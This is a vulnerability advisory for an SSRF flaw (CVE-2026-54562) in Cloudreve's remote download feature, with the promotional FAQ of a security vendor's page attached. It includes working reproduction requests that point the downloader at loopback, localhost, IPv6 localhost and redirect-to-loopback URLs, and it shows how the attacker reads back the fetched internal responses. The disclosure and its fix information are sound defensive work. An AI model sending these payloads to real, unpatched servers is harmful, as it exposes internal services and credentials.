Summary
Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
- authenticated
- non-admin
- in a user group where
GroupPermissionRemoteDownloadis enabled
Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.
Affected endpoint
POST /api/v4/workflow/download
Follow-up attacker readback was performed through normal workflow and file APIs:
GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url
Root cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56
The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default User group.
Before enabling remote download for the group:
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}
Response:
{"code":40007,"msg":"Group not allowed to download files"}
2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default User group does not have it.
Confirmed in:
inventory/migration.go:154inventory/migration.go:179
For this test, I only changed group 2 permissions from:
hAg=
to:
hAo=
The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.
3. Start an internal listener
Example listener on the Cloudreve host:
127.0.0.1:7777
The listener returned a marker response:
SSRF_SECRET_2_20260527
4. Queue a remote download to loopback
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}
Response:
{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}
The internal listener received the request:
127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -
Aria2 completed the download:
Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2
5. Read the imported internal response as the attacker
The task completed successfully:
{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}
The attacker could list the imported file:
{"name":"secret2","path":"cloudreve://my/secret2"}
The attacker could then download and read the response body:
SSRF_SECRET_2_20260527
Additional validated variants
localhost
Input:
http://localhost:7777/localsecret
Attacker readback:
LOCALHOST_SECRET_20260527
Redirect to loopback
Input:
http://127.0.0.1:7779/anything
Redirect:
302 Location: http://127.0.0.1:7777/redirsecret
Attacker readback:
REDIR_SECRET_20260527
IPv6 localhost
Input:
http://[::1]:7780/v6secret
Attacker readback:
IPV6_SECRET_20260527
Expected behavior
Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.
Redirect targets should be checked with the same policy.
Actual behavior
Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secret- redirect to
http://127.0.0.1:7777/redirsecret
This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-54562 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.0-20260606025411-aaebf317a78f); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-54562? CVE-2026-54562 is a medium-severity server-side request forgery (SSRF) vulnerability in github.com/cloudreve/Cloudreve/v4 (go), affecting versions < 4.0.0-20260606025411-aaebf317a78f. It is fixed in 4.0.0-20260606025411-aaebf317a78f. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-54562? CVE-2026-54562 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-54562?
github.com/cloudreve/Cloudreve/v4(go) (versions < 4.0.0-20260606025411-aaebf317a78f)github.com/cloudreve/Cloudreve/v3(go) (versions <= 3.0.0-20250225100611-da4e44b77af4)
- Is there a fix for CVE-2026-54562? Yes. CVE-2026-54562 is fixed in 4.0.0-20260606025411-aaebf317a78f. Upgrade to this version or later.
- Is CVE-2026-54562 exploitable, and should I be worried? Whether CVE-2026-54562 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54562 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54562? Upgrade
github.com/cloudreve/Cloudreve/v4to 4.0.0-20260606025411-aaebf317a78f or later.